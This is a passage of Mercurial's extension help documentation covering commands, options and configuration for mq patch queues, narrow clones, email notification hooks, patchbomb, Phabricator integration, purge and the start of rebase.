By default, mq will automatically use git patches when required to avoid losing file mode changes, copy records, binary files or empty files creations or deletions. This behavior can be configured with:

[mq]
git = auto/keep/yes/no

If set to ‘keep’, mq will obey the [diff] section configuration while preserving existing git patches upon qrefresh. If set to ‘yes’ or ’no’, mq will override the [diff] section and always generate git or regular patches, possibly losing data in the second case.

It may be desirable for mq changesets to be kept in the secret phase (see hg help phases), which can be enabled with the following setting:

[mq]
secret = True

You will by default be managing a patch queue named “patches”. You can create other, independent patch queues with the hg qqueue command.

If the working directory contains uncommitted files, qpush, qpop and qgoto abort immediately. If -f/–force is used, the changes are discarded. Setting:

[mq]
keepchanges = True

make them behave as if –keep-changes were passed, and non-conflicting local changes will be tolerated and preserved. If incompatible options such as -f/–force or –exact are passed, this setting is ignored.

This extension used to provide a strip command. This command now lives in the strip extension.

Commands

Repository creation

qclone

clone main and patch repository at same time:

hg qclone [OPTION]... SOURCE [DEST]

If source is local, destination will have no patches applied. If source is remote, this command can not check if patches are applied in source, so cannot guarantee that patches are not applied in destination. If you clone remote repository, be sure before that it has no patches applied.

Source patch repository is looked for in <src>/.hg/patches by default. Use -p <url> to change.

The patch directory must be a nested Mercurial repository, as would be created by hg init –mq.

Return 0 on success.

Options:

–pull
use pull protocol to copy metadata

-U, –noupdate
do not update the new working directories

–uncompressed
use uncompressed transfer (fast over LAN)

-p,–patches** <REPO>**
location of source patch repository

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

qinit

init a new queue repository (DEPRECATED):

hg qinit [-c]

The queue repository is unversioned by default. If -c/–create-repo is specified, qinit will create a separate nested repository for patches (qinit -c may also be run later to convert an unversioned patch repository into a versioned one). You can use qcommit to commit changes to this queue repository.

This command is deprecated. Without -c, it’s implied by other relevant commands. With -c, use hg init –mq instead.

Options:

-c, –create-repo
create queue repository

Change creation

qcommit

commit changes in the queue repository (DEPRECATED):

hg qcommit [OPTION]... [FILE]...

This command is deprecated; use hg commit –mq instead.

Options:

-A, –addremove
mark new/missing files as added/removed before committing

–close-branch
mark a branch head as closed

–amend
amend the parent of the working directory

-s, –secret
use the secret phase for committing

–draft
use the draft phase for committing

-e, –edit
invoke editor on commit messages

–force-close-branch
forcibly close branch from a non-head changeset (ADVANCED)

-i, –interactive
use interactive mode

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

aliases: qci

qnew

create a new patch:

hg qnew [-e] [-m TEXT] [-l FILE] PATCH [FILE]...

qnew creates a new patch on top of the currently-applied patch (if any). The patch will be initialized with any outstanding changes in the working directory. You may also use -I/–include, -X/–exclude, and/or a list of files after the patch name to add only changes to matching files to the new patch, leaving the rest as uncommitted modifications.

-u/–user and -d/–date can be used to set the (given) user and date, respectively. -U/–currentuser and -D/–currentdate set user to current user and date to current date.

-e/–edit, -m/–message or -l/–logfile set the patch header as well as the commit message. If none is specified, the header is empty and the commit message is ‘[mq]: PATCH’.

Use the -g/–git option to keep the patch in the git extended diff format. Read the diffs help topic for more information on why this is important for preserving permission changes and copy/rename information.

Returns 0 on successful creation of a new patch.

Options:

-e, –edit
invoke editor on commit messages

-f, –force
import uncommitted changes (DEPRECATED)

-g, –git
use git extended diff format

-U, –currentuser
add “From: <current user>” to patch

-u,–user** <USER>**
add “From: <USER>” to patch

-D, –currentdate
add “Date: <current date>” to patch

-d,–date** <DATE>**
add “Date: <DATE>” to patch

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

[+] marked option can be specified multiple times

qrefresh

update the current patch:

hg qrefresh [-I] [-X] [-e] [-m TEXT] [-l FILE] [-s] [FILE]...

If any file patterns are provided, the refreshed patch will contain only the modifications that match those patterns; the remaining modifications will remain in the working directory.

If -s/–short is specified, files currently included in the patch will be refreshed just like matched files and remain in the patch.

If -e/–edit is specified, Mercurial will start your configured editor for you to enter a message. In case qrefresh fails, you will find a backup of your message in .hg/last-message.txt.

hg add/remove/copy/rename work as usual, though you might want to use git-style patches (-g/–git or [diff] git=1) to track copies and renames. See the diffs help topic for more information on the git diff format.

Returns 0 on success.

Options:

-e, –edit
invoke editor on commit messages

-g, –git
use git extended diff format

-s, –short
refresh only files already in the patch and specified files

-U, –currentuser
add/update author field in patch with current user

-u,–user** <USER>**
add/update author field in patch with given user

-D, –currentdate
add/update date field in patch with current date

-d,–date** <DATE>**
add/update date field in patch with given date

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

[+] marked option can be specified multiple times

Change manipulation

qfold

fold the named patches into the current patch:

hg qfold [-e] [-k] [-m TEXT] [-l FILE] PATCH...

Patches must not yet be applied. Each patch will be successively applied to the current patch in the order given. If all the patches apply successfully, the current patch will be refreshed with the new cumulative patch, and the folded patches will be deleted. With -k/–keep, the folded patch files will not be removed afterwards.

The header for each folded patch will be concatenated with the current patch header, separated by a line of * * *.

Returns 0 on success.

Options:

-e, –edit
invoke editor on commit messages

-k, –keep
keep folded patch files

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

Change organization

qapplied

print the patches already applied:

hg qapplied [-1] [-s] [PATCH]

Returns 0 on success.

Options:

-1, –last
show only the preceding applied patch

-s, –summary
print first line of patch header

qdelete

remove patches from queue:

hg qdelete [-k] [PATCH]...

The patches must not be applied, and at least one patch is required. Exact patch identifiers must be given. With -k/–keep, the patch files are preserved in the patch directory.

To stop managing a patch and move it into permanent history, use the hg qfinish command.

Options:

-k, –keep
keep patch file

-r,–rev** <REV[+]>**
stop managing a revision (DEPRECATED)

[+] marked option can be specified multiple times

aliases: qremove qrm

qfinish

move applied patches into repository history:

hg qfinish [-a] [REV]...

Finishes the specified revisions (corresponding to applied patches) by moving them out of mq control into regular repository history.

Accepts a revision range or the -a/–applied option. If –applied is specified, all applied mq revisions are removed from mq control. Otherwise, the given revisions must be at the base of the stack of applied patches.

This can be especially useful if your changes have been applied to an upstream repository, or if you are about to push your changes to upstream.

Returns 0 on success.

Options:

-a, –applied
finish all applied changesets

qgoto

push or pop patches until named patch is at top of stack:

hg qgoto [OPTION]... PATCH

Returns 0 on success.

Options:

–keep-changes
tolerate non-conflicting local changes

-f, –force
overwrite any local changes

–no-backup
do not save backup copies of files

qguard

set or print guards for a patch:

hg qguard [-l] [-n] [PATCH] [-- [+GUARD]... [-GUARD]...]

Guards control whether a patch can be pushed. A patch with no guards is always pushed. A patch with a positive guard ("+foo”) is pushed only if the hg qselect command has activated it. A patch with a negative guard ("-foo”) is never pushed if the hg qselect command has activated it.

With no arguments, print the currently active guards. With arguments, set guards for the named patch.

Note
Specifying negative guards now requires ‘–’.

To set guards on another patch:

hg qguard other.patch -- +2.6.17 -stable

Returns 0 on success.

Options:

-l, –list
list all patches and guards

-n, –none
drop all guards

qheader

print the header of the topmost or specified patch:

hg qheader [PATCH]

Returns 0 on success.

qnext

print the name of the next pushable patch:

hg qnext [-s]

Returns 0 on success.

Options:

-s, –summary
print first line of patch header

qpop

pop the current patch off the stack:

hg qpop [-a] [-f] [PATCH | INDEX]

Without argument, pops off the top of the patch stack. If given a patch name, keeps popping off patches until the named patch is at the top of the stack.

By default, abort if the working directory contains uncommitted changes. With –keep-changes, abort only if the uncommitted files overlap with patched files. With -f/–force, backup and discard changes made to such files.

Return 0 on success.

Options:

-a, –all
pop all patches

-n,–name** <NAME>**
queue name to pop (DEPRECATED)

–keep-changes
tolerate non-conflicting local changes

-f, –force
forget any local changes to patched files

–no-backup
do not save backup copies of files

qprev

print the name of the preceding applied patch:

hg qprev [-s]

Returns 0 on success.

Options:

-s, –summary
print first line of patch header

qpush

push the next patch onto the stack:

hg qpush [-f] [-l] [-a] [--move] [PATCH | INDEX]

By default, abort if the working directory contains uncommitted changes. With –keep-changes, abort only if the uncommitted files overlap with patched files. With -f/–force, backup and patch over uncommitted changes.

Return 0 on success.

Options:

–keep-changes
tolerate non-conflicting local changes

-f, –force
apply on top of local changes

-e, –exact
apply the target patch to its recorded parent

-l, –list
list patch name in commit text

-a, –all
apply all patches

-m, –merge
merge from another queue (DEPRECATED)

-n,–name** <NAME>**
merge queue name (DEPRECATED)

–move
reorder patch series and apply only the patch

–no-backup
do not save backup copies of files

qqueue

manage multiple patch queues:

hg qqueue [OPTION] [QUEUE]

Supports switching between different patch queues, as well as creating new patch queues and deleting existing ones.

Omitting a queue name or specifying -l/–list will show you the registered queues - by default the “normal” patches queue is registered. The currently active queue will be marked with “(active)”. Specifying –active will print only the name of the active queue.

To create a new queue, use -c/–create. The queue is automatically made active, except in the case where there are applied patches from the currently active queue in the repository. Then the queue will only be created and switching will fail.

To delete an existing queue, use –delete. You cannot delete the currently active queue.

Returns 0 on success.

Options:

-l, –list
list all available queues

–active
print name of active queue

-c, –create
create new queue

–rename
rename active queue

–delete
delete reference to queue

–purge
delete queue, and remove patch dir

qrename

rename a patch:

hg qrename PATCH1 [PATCH2]

With one argument, renames the current patch to PATCH1. With two arguments, renames PATCH1 to PATCH2.

Returns 0 on success.

aliases: qmv

qrestore

restore the queue state saved by a revision (DEPRECATED):

hg qrestore [-d] [-u] REV

This command is deprecated, use hg rebase instead.

Options:

-d, –delete
delete save entry

-u, –update
update queue working directory

qsave

save current queue state (DEPRECATED):

hg qsave [-m TEXT] [-l FILE] [-c] [-n NAME] [-e] [-f]

This command is deprecated, use hg rebase instead.

Options:

-c, –copy
copy patch directory

-n,–name** <NAME>**
copy directory name

-e, –empty
clear queue status file

-f, –force
force copy

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

qselect

set or print guarded patches to push:

hg qselect [OPTION]... [GUARD]...

Use the hg qguard command to set or print guards on patch, then use qselect to tell mq which guards to use. A patch will be pushed if it has no guards or any positive guards match the currently selected guard, but will not be pushed if any negative guards match the current guard. For example:

qguard foo.patch -- -stable    (negative guard)
qguard bar.patch    +stable    (positive guard)
qselect stable

This activates the “stable” guard. mq will skip foo.patch (because it has a negative match) but push bar.patch (because it has a positive match).

With no arguments, prints the currently active guards. With one argument, sets the active guard.

Use -n/–none to deactivate guards (no other arguments needed). When no guards are active, patches with positive guards are skipped and patches with negative guards are pushed.

qselect can change the guards on applied patches. It does not pop guarded patches by default. Use –pop to pop back to the last applied patch that is not guarded. Use –reapply (which implies –pop) to push back to the current patch afterwards, but skip guarded patches.

Use -s/–series to print a list of all guards in the series file (no other arguments needed). Use -v for more information.

Returns 0 on success.

Options:

-n, –none
disable all guards

-s, –series
list all guards in series file

–pop
pop to before first guarded applied patch

–reapply
pop, then reapply patches

qseries

print the entire series file:

hg qseries [-ms]

Returns 0 on success.

Options:

-m, –missing
print patches not in series

-s, –summary
print first line of patch header

qtop

print the name of the current patch:

hg qtop [-s]

Returns 0 on success.

Options:

-s, –summary
print first line of patch header

qunapplied

print the patches not yet applied:

hg qunapplied [-1] [-s] [PATCH]

Returns 0 on success.

Options:

-1, –first
show only the first patch

-s, –summary
print first line of patch header

File content management

qdiff

diff of the current patch and subsequent modifications:

hg qdiff [OPTION]... [FILE]...

Shows a diff which includes the current patch as well as any changes which have been made in the working directory since the last refresh (thus showing what the current patch would become after a qrefresh).

Use hg diff if you only want to see the changes made since the last qrefresh, or hg export qtip if you want to see changes made by the current patch without including changes made since the qrefresh.

Returns 0 on success.

Options:

-a, –text
treat all files as text

-g, –git
use git extended diff format (DEFAULT: diff.git)

–binary
generate binary diffs in git mode (default)

–nodates
omit dates from diff headers

–noprefix
omit a/ and b/ prefixes from filenames

-p, –show-function
show which function each change is in (DEFAULT: diff.showfunc)

–reverse
produce a diff that undoes the changes

-w, –ignore-all-space
ignore white space when comparing lines

-b, –ignore-space-change
ignore changes in the amount of white space

-B, –ignore-blank-lines
ignore changes whose lines are all blank

-Z, –ignore-space-at-eol
ignore changes in whitespace at EOL

-U,–unified** <NUM>**
number of lines of context to show

–stat
output diffstat-style summary of changes

–root* <DIR>*
produce diffs relative to subdirectory

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

Change import/export

qimport

import a patch or existing changeset:

hg qimport [-e] [-n NAME] [-f] [-g] [-P] [-r REV]... [FILE]...

The patch is inserted into the series after the last applied patch. If no patches have been applied, qimport prepends the patch to the series.

The patch will have the same name as its source file unless you give it a new one with -n/–name.

You can register an existing patch inside the patch directory with the -e/–existing flag.

With -f/–force, an existing patch of the same name will be overwritten.

An existing changeset may be placed under mq control with -r/–rev (e.g. qimport –rev . -n patch will place the current revision under mq control). With -g/–git, patches imported with –rev will use the git diff format. See the diffs help topic for information on why this is important for preserving rename/copy information and permission changes. Use hg qfinish to remove changesets from mq control.

To import a patch from standard input, pass - as the patch file. When importing from standard input, a patch name must be specified using the –name flag.

To import an existing patch while renaming it:

hg qimport -e existing-patch -n new-name

Returns 0 if import succeeded.

Options:

-e, –existing
import file in patch directory

-n,–name** <NAME>**
name of patch file

-f, –force
overwrite existing files

-r,–rev** <REV[+]>**
place existing revisions under mq control

-g, –git
use git extended diff format

-P, –push
qpush after importing

[+] marked option can be specified multiple times

narrow

create clones which fetch history data for subset of files (EXPERIMENTAL)

Commands

Repository maintenance

tracked

show or change the current narrowspec:

hg tracked [OPTIONS]... [REMOTE]

With no argument, shows the current narrowspec entries, one per line. Each line will be prefixed with ‘I’ or ‘X’ for included or excluded patterns, respectively.

The narrowspec is comprised of expressions to match remote files and/or directories that should be pulled into your client. The narrowspec has include and exclude expressions, with excludes always trumping includes: that is, if a file matches an exclude expression, it will be excluded even if it also matches an include expression. Excluding files that were never included has no effect.

Each included or excluded entry is in the format described by ‘hg help patterns’.

The options allow you to add or remove included and excluded expressions.

If –clear is specified, then all previous includes and excludes are DROPPED and replaced by the new ones specified to –addinclude and –addexclude. If –clear is specified without any further options, the narrowspec will be empty and will not match any files.

If –auto-remove-includes is specified, then those includes that don’t match any files modified by currently visible local commits (those not shared by the remote) will be added to the set of explicitly specified includes to remove.

–import-rules accepts a path to a file containing rules, allowing you to add –addinclude, –addexclude rules in bulk. Like the other include and exclude switches, the changes are applied immediately.

Options:

–addinclude* <VALUE[+]>*
new paths to include

–removeinclude* <VALUE[+]>*
old paths to no longer include

–auto-remove-includes
automatically choose unused includes to remove

–addexclude* <VALUE[+]>*
new paths to exclude

–import-rules* <VALUE>*
import narrowspecs from a file

–removeexclude* <VALUE[+]>*
old paths to no longer exclude

–clear
whether to replace the existing narrowspec

–force-delete-local-changes
forces deletion of local changes when narrowing

–backup
back up local changes when narrowing (default: True)

–update-working-copy
update working copy when the store has changed

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

notify

hooks for sending email push notifications

This extension implements hooks to send email notifications when changesets are sent from or received by the local repository.

First, enable the extension as explained in hg help extensions, and register the hook you want to run. incoming and changegroup hooks are run when changesets are received, while outgoing hooks are for changesets sent to another repository:

[hooks]
# one email for each incoming changeset
incoming.notify = python:hgext.notify.hook
# one email for all incoming changesets
changegroup.notify = python:hgext.notify.hook

# one email for all outgoing changesets
outgoing.notify = python:hgext.notify.hook

This registers the hooks. To enable notification, subscribers must be assigned to repositories. The [usersubs] section maps multiple repositories to a given recipient. The [reposubs] section maps multiple recipients to a single repository:

[usersubs]
# key is subscriber email, value is a comma-separated list of repo patterns
user@host = pattern

[reposubs]
# key is repo pattern, value is a comma-separated list of subscriber emails
pattern = user@host

A pattern is a glob matching the absolute path to a repository, optionally combined with a revset expression. A revset expression, if present, is separated from the glob by a hash. Example:

[reposubs]
*/widgets#branch(release) = [email protected]

This sends to [email protected] whenever a changeset on the release branch triggers a notification in any repository ending in widgets.

In order to place them under direct user management, [usersubs] and [reposubs] sections may be placed in a separate hgrc file and incorporated by reference:

[notify]
config = /path/to/subscriptionsfile

Notifications will not be sent until the notify.test value is set to False; see below.

Notifications content can be tweaked with the following configuration entries:

notify.test
If True, print messages to stdout instead of sending them. Default: True.

notify.sources
Space-separated list of change sources. Notifications are activated only when a changeset’s source is in this list. Sources may be:

serve
changesets received via http or ssh

pull
changesets received via hg pull

unbundle
changesets received via hg unbundle

push
changesets sent or received via hg push

bundle
changesets sent via hg unbundle

Default: serve.

notify.strip
Number of leading slashes to strip from url paths. By default, notifications reference repositories with their absolute path. notify.strip lets you turn them into relative paths. For example, notify.strip=3 will change /long/path/repository into repository. Default: 0.

notify.domain
Default email domain for sender or recipients with no explicit domain. It is also used for the domain part of the Message-Id when using notify.messageidseed.

notify.messageidseed
Create deterministic Message-Id headers for the mails based on the seed and the revision identifier of the first commit in the changeset.

notify.style
Style file to use when formatting emails.

notify.template
Template to use when formatting emails.

notify.incoming
Template to use when run as an incoming hook, overriding notify.template.

notify.outgoing
Template to use when run as an outgoing hook, overriding notify.template.

notify.changegroup
Template to use when running as a changegroup hook, overriding notify.template.

notify.maxdiff
Maximum number of diff lines to include in notification email. Set to 0 to disable the diff, or -1 to include all of it. Default: 300.

notify.maxdiffstat
Maximum number of diffstat lines to include in notification email. Set to -1 to include all of it. Default: -1.

notify.maxsubject
Maximum number of characters in email’s subject line. Default: 67.

notify.diffstat
Set to True to include a diffstat before diff content. Default: True.

notify.showfunc
If set, override diff.showfunc for the diff content. Default: None.

notify.merge
If True, send notifications for merge changesets. Default: True.

notify.mbox
If set, append mails to this mbox file instead of sending. Default: None.

notify.fromauthor
If set, use the committer of the first changeset in a changegroup for the “From” field of the notification mail. If not set, take the user from the pushing repo. Default: False.

notify.reply-to-predecessor (EXPERIMENTAL)
If set and the changeset has a predecessor in the repository, try to thread the notification mail with the predecessor. This adds the “In-Reply-To” header to the notification mail with a reference to the predecessor with the smallest revision number. Mail threads can still be torn, especially when changesets are folded.

This option must be used in combination with notify.messageidseed.

If set, the following entries will also be used to customize the notifications:

email.from
Email From address to use if none can be found in the generated email content.

web.baseurl
Root repository URL to combine with repository paths when making references. See also notify.strip.

pager

browse command output with an external pager (DEPRECATED)

Forcibly enable paging for individual commands that don’t typically request pagination with the attend-<command> option. This setting takes precedence over ignore options and defaults:

[pager]
attend-cat = false

patchbomb

command to send changesets as (a series of) patch emails

The series is started off with a “[PATCH 0 of N]” introduction, which describes the series as a whole.

Each patch email has a Subject line of “[PATCH M of N] …”, using the first line of the changeset description as the subject text. The message contains two or three body parts:

  • The changeset description.

  • [Optional] The result of running diffstat on the patch.

  • The patch itself, as generated by hg export.

Each message refers to the first in the series using the In-Reply-To and References headers, so they will show up as a sequence in threaded mail and news readers, and in mail archives.

To configure other defaults, add a section like this to your configuration file:

[email]
from = My Name <my@email>
to = recipient1, recipient2, ...
cc = cc1, cc2, ...
bcc = bcc1, bcc2, ...
reply-to = address1, address2, ...

Use [patchbomb] as configuration section name if you need to override global [email] address settings.

Then you can use the hg email command to mail a series of changesets as a patchbomb.

You can also either configure the method option in the email section to be a sendmail compatible mailer or fill out the [smtp] section so that the patchbomb extension can automatically send patchbombs directly from the commandline. See the [email] and [smtp] sections in hgrc(5) for details.

By default, hg email will prompt for a To or CC header if you do not supply one via configuration or the command line. You can override this to never prompt by configuring an empty value:

[email]
cc =

You can control the default inclusion of an introduction message with the patchbomb.intro configuration option. The configuration is always overwritten by command line flags like –intro and –desc:

[patchbomb]
intro=auto   # include introduction message if more than 1 patch (default)
intro=never  # never include an introduction message
intro=always # always include an introduction message

You can specify a template for flags to be added in subject prefixes. Flags specified by –flag option are exported as {flags} keyword:

[patchbomb]
flagtemplate = "{separate(' ',
                          ifeq(branch, 'default', '', branch|upper),
                          flags)}"

You can set patchbomb to always ask for confirmation by setting patchbomb.confirm to true.

Commands

Change import/export

email

send changesets by email:

hg email [OPTION]... [DEST]...

By default, diffs are sent in the format generated by hg export, one per message. The series starts with a “[PATCH 0 of N]” introduction, which describes the series as a whole.

Each patch email has a Subject line of “[PATCH M of N] …”, using the first line of the changeset description as the subject text. The message contains two or three parts. First, the changeset description.

With the -d/–diffstat option, if the diffstat program is installed, the result of running diffstat on the patch is inserted.

Finally, the patch itself, as generated by hg export.

With the -d/–diffstat or –confirm options, you will be presented with a final summary of all messages and asked for confirmation before the messages are sent.

By default the patch is included as text in the email body for easy reviewing. Using the -a/–attach option will instead create an attachment for the patch. With -i/–inline an inline attachment will be created. You can include a patch both as text in the email body and as a regular or an inline attachment by combining the -a/–attach or -i/–inline with the –body option.

With -B/–bookmark changesets reachable by the given bookmark are selected.

With -o/–outgoing, emails will be generated for patches not found in the destination repository (or only those which are ancestors of the specified revisions if any are provided)

With -b/–bundle, changesets are selected as for –outgoing, but a single email containing a binary Mercurial bundle as an attachment will be sent. Use the patchbomb.bundletype config option to control the bundle type as with hg bundle –type.

With -m/–mbox, instead of previewing each patchbomb message in a pager or sending the messages directly, it will create a UNIX mailbox file with the patch emails. This mailbox file can be previewed with any mail user agent which supports UNIX mbox files.

With -n/–test, all steps will run, but mail will not be sent. You will be prompted for an email recipient address, a subject and an introductory message describing the patches of your patchbomb. Then when all is done, patchbomb messages are displayed.

In case email sending fails, you will find a backup of your series introductory message in .hg/last-email.txt.

The default behavior of this command can be customized through configuration. (See hg help patchbomb for details)

Examples:

hg email -r 3000          # send patch 3000 only
hg email -r 3000 -r 3001  # send patches 3000 and 3001
hg email -r 3000:3005     # send patches 3000 through 3005
hg email 3000             # send patch 3000 (deprecated)

hg email -o               # send all patches not in default
hg email -o DEST          # send all patches not in DEST
hg email -o -r 3000       # send all ancestors of 3000 not in default
hg email -o -r 3000 DEST  # send all ancestors of 3000 not in DEST

hg email -B feature       # send all ancestors of feature bookmark

hg email -b               # send bundle of all patches not in default
hg email -b DEST          # send bundle of all patches not in DEST
hg email -b -r 3000       # bundle of all ancestors of 3000 not in default
hg email -b -r 3000 DEST  # bundle of all ancestors of 3000 not in DEST

hg email -o -m mbox &&    # generate an mbox file...
  mutt -R -f mbox         # ... and view it with mutt
hg email -o -m mbox &&    # generate an mbox file ...
  formail -s sendmail \   # ... and use formail to send from the mbox
    -bm -t < mbox         # ... using sendmail

Before using this command, you will need to enable email in your hgrc. See the [email] section in hgrc(5) for details.

Options:

-g, –git
use git extended diff format

–plain
omit hg patch header

-o, –outgoing
send changes not found in the target repository

-b, –bundle
send changes not in target as a binary bundle

-B,–bookmark** <BOOKMARK>**
send changes only reachable by given bookmark

–bundlename* <NAME>*
name of the bundle attachment file (default: bundle)

-r,–rev** <REV[+]>**
a revision to send

–force
run even when remote repository is unrelated (with -b/–bundle)

–base* <REV[+]>*
a base changeset to specify instead of a destination (with -b/–bundle)

–intro
send an introduction email for a single patch

–body
send patches as inline message text (default)

-a, –attach
send patches as attachments

-i, –inline
send patches as inline attachments

–bcc* <EMAIL[+]>*
email addresses of blind carbon copy recipients

-c,–cc** <EMAIL[+]>**
email addresses of copy recipients

–confirm
ask for confirmation before sending

-d, –diffstat
add diffstat output to messages

–date* <DATE>*
use the given date as the sending date

–desc* <FILE>*
use the given file as the series description

-f,–from** <EMAIL>**
email address of sender

-n, –test
print messages that would be sent

-m,–mbox** <FILE>**
write messages to mbox file instead of sending them

–reply-to* <EMAIL[+]>*
email addresses replies should be sent to

-s,–subject** <TEXT>**
subject of first message (intro or single patch)

–in-reply-to* <MSGID>*
message identifier to reply to

–flag* <FLAG[+]>*
flags to add in subject prefixes

-t,–to** <EMAIL[+]>**
email addresses of recipients

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

phabricator

simple Phabricator integration (EXPERIMENTAL)

This extension provides a phabsend command which sends a stack of changesets to Phabricator, and a phabread command which prints a stack of revisions in a format suitable for hg import, and a phabupdate command to update statuses in batch.

A “phabstatus” view for hg show is also provided; it displays status information of Phabricator differentials associated with unfinished changesets.

By default, Phabricator requires Test Plan which might prevent some changeset from being sent. The requirement could be disabled by changing differential.require-test-plan-field config server side.

Config:

[phabricator]
# Phabricator URL
url = https://phab.example.com/

# Repo callsign. If a repo has a URL https://$HOST/diffusion/FOO, then its
# callsign is "FOO".
callsign = FOO

# curl command to use. If not set (default), use builtin HTTP library to
# communicate. If set, use the specified curl command. This could be useful
# if you need to specify advanced options that is not easily supported by
# the internal library.
curlcmd = curl --connect-timeout 2 --retry 3 --silent

# retry failed command N time (default 0). Useful when using the extension
# over flakly connection.
#
# We wait `retry.interval` between each retry, in seconds.
# (default 1 second).
retry = 3
retry.interval = 10

# the retry option can combine well with the http.timeout one.
#
# For example to give up on http request after 20 seconds:
[http]
timeout=20

[auth]
example.schemes = https
example.prefix = phab.example.com

# API token. Get it from https://$HOST/conduit/login/
example.phabtoken = cli-xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Commands

Change import/export

phabimport

import patches from Phabricator for the specified Differential Revisions:

hg phabimport DREVSPEC... [OPTIONS]

The patches are read and applied starting at the parent of the working directory.

See hg help phabread for how to specify DREVSPEC.

Options:

–stack
import dependencies as well

–test-vcr* <VALUE>*
Path to a vcr file. If nonexistent, will record a new vcr transcript, otherwise will mock all http requests using the specified vcr file. (ADVANCED)

phabread

print patches from Phabricator suitable for importing:

hg phabread DREVSPEC... [OPTIONS]

DREVSPEC could be a Differential Revision identity, like D123, or just the number 123. It could also have common operators like +, -, &, (, ) for complex queries. Prefix : could be used to select a stack. If multiple DREVSPEC values are given, the result is the union of each individually evaluated value. No attempt is currently made to reorder the values to run from parent to child.

abandoned, accepted, closed, needsreview, needsrevision could be used to filter patches by status. For performance reason, they only represent a subset of non-status selections and cannot be used alone.

For example, :D6+8-(2+D4) selects a stack up to D6, plus D8 and exclude D2 and D4. :D9 & needsreview selects “Needs Review” revisions in a stack up to D9.

If –stack is given, follow dependencies information and read all patches. It is equivalent to the : operator.

Options:

–stack
read dependencies

–test-vcr* <VALUE>*
Path to a vcr file. If nonexistent, will record a new vcr transcript, otherwise will mock all http requests using the specified vcr file. (ADVANCED)

phabsend

upload changesets to Phabricator:

hg phabsend REV [OPTIONS]

If there are multiple revisions specified, they will be send as a stack with a linear dependencies relationship using the order specified by the revset.

For the first time uploading changesets, local tags will be created to maintain the association. After the first time, phabsend will check obsstore and tags information so it can figure out whether to update an existing Differential Revision, or create a new one.

If –amend is set, update commit messages so they have the Differential Revision URL, remove related tags. This is similar to what arcanist will do, and is more desired in author-push workflows. Otherwise, use local tags to record the Differential Revision association.

The –confirm option lets you confirm changesets before sending them. You can also add following to your configuration file to make it default behaviour:

[phabsend]
confirm = true

By default, a separate review will be created for each commit that is selected, and will have the same parent/child relationship in Phabricator. If –fold is set, multiple commits are rolled up into a single review as if diffed from the parent of the first revision to the last. The commit messages are concatenated in the summary field on Phabricator.

phabsend will check obsstore and the above association to decide whether to update an existing Differential Revision, or create a new one.

Options:

-r,–rev** <REV[+]>**
revisions to send

–amend
update commit messages (default: True)

–reviewer* <VALUE[+]>*
specify reviewers

–blocker* <VALUE[+]>*
specify blocking reviewers

-m,–comment** <VALUE>**
add a comment to Revisions with new/updated Diffs

–confirm
ask for confirmation before sending

–fold
combine the revisions into one review

–test-vcr* <VALUE>*
Path to a vcr file. If nonexistent, will record a new vcr transcript, otherwise will mock all http requests using the specified vcr file. (ADVANCED)

[+] marked option can be specified multiple times

phabupdate

update Differential Revision in batch:

hg phabupdate [DREVSPEC...| -r REV...] [OPTIONS]

DREVSPEC selects revisions. See hg help phabread for its usage.

Options:

–accept
accept revisions

–reject
reject revisions

–request-review
request review on revisions

–abandon
abandon revisions

–reclaim
reclaim revisions

–close
close revisions

–reopen
reopen revisions

–plan-changes
plan changes for revisions

–resign
resign as a reviewer from revisions

–commandeer
commandeer revisions

-m,–comment** <VALUE>**
comment on the last revision

-r,–rev** <REV>**
local revision to update

–test-vcr* <VALUE>*
Path to a vcr file. If nonexistent, will record a new vcr transcript, otherwise will mock all http requests using the specified vcr file. (ADVANCED)

Uncategorized commands

purge

command to delete untracked files from the working directory (DEPRECATED)

The functionality of this extension has been included in core Mercurial since version 5.7. Please use hg purge … instead. hg purge –confirm is now the default, unless the extension is enabled for backward compatibility.

rebase

command to move sets of revisions to a different ancestor

This extension lets you rebase changesets in an existing Mercurial repository.

For more information: https://mercurial-scm.org/wiki/RebaseExtension

Commands

Change manipulation

rebase

move changeset (and descendants) to a different branch:

hg rebase [[-s REV]... | [-b REV]... | [-r REV]...] [-d REV] [OPTION]...

Rebase uses repeated merging to graft changesets from one part of history (the source) onto another (the destination). This can be useful for linearizing local changes relative to a master development tree.

Published commits cannot be rebased (see hg help phases). To copy commits, see hg help graft.

If you don’t specify a destination changeset (-d/–dest), rebase will use the same logic as hg merge to pick a destination. if the current branch contains exactly one other head, the other head is merged with by default. Otherwise, an explicit revision with which to merge with must be provided. (destination changeset is not modified by rebasing, but new changesets are added as its descendants.)

Here are the ways to select changesets:

  1. Explicitly select them using –rev.

  2. Use –source to select a root changeset and include all of its descendants.

  3. Use –base to select a changeset; rebase will find ancestors and their descendants which are not also ancestors of the destination.

  4. If you do not specify any of –rev, –source, or –base, rebase will use –base . as above.

If –source or –rev is used, special names SRC and ALLSRC can be used in –dest. Destination would be calculated per source revision with SRC substituted by that single source revision and ALLSRC substituted by all source revisions.

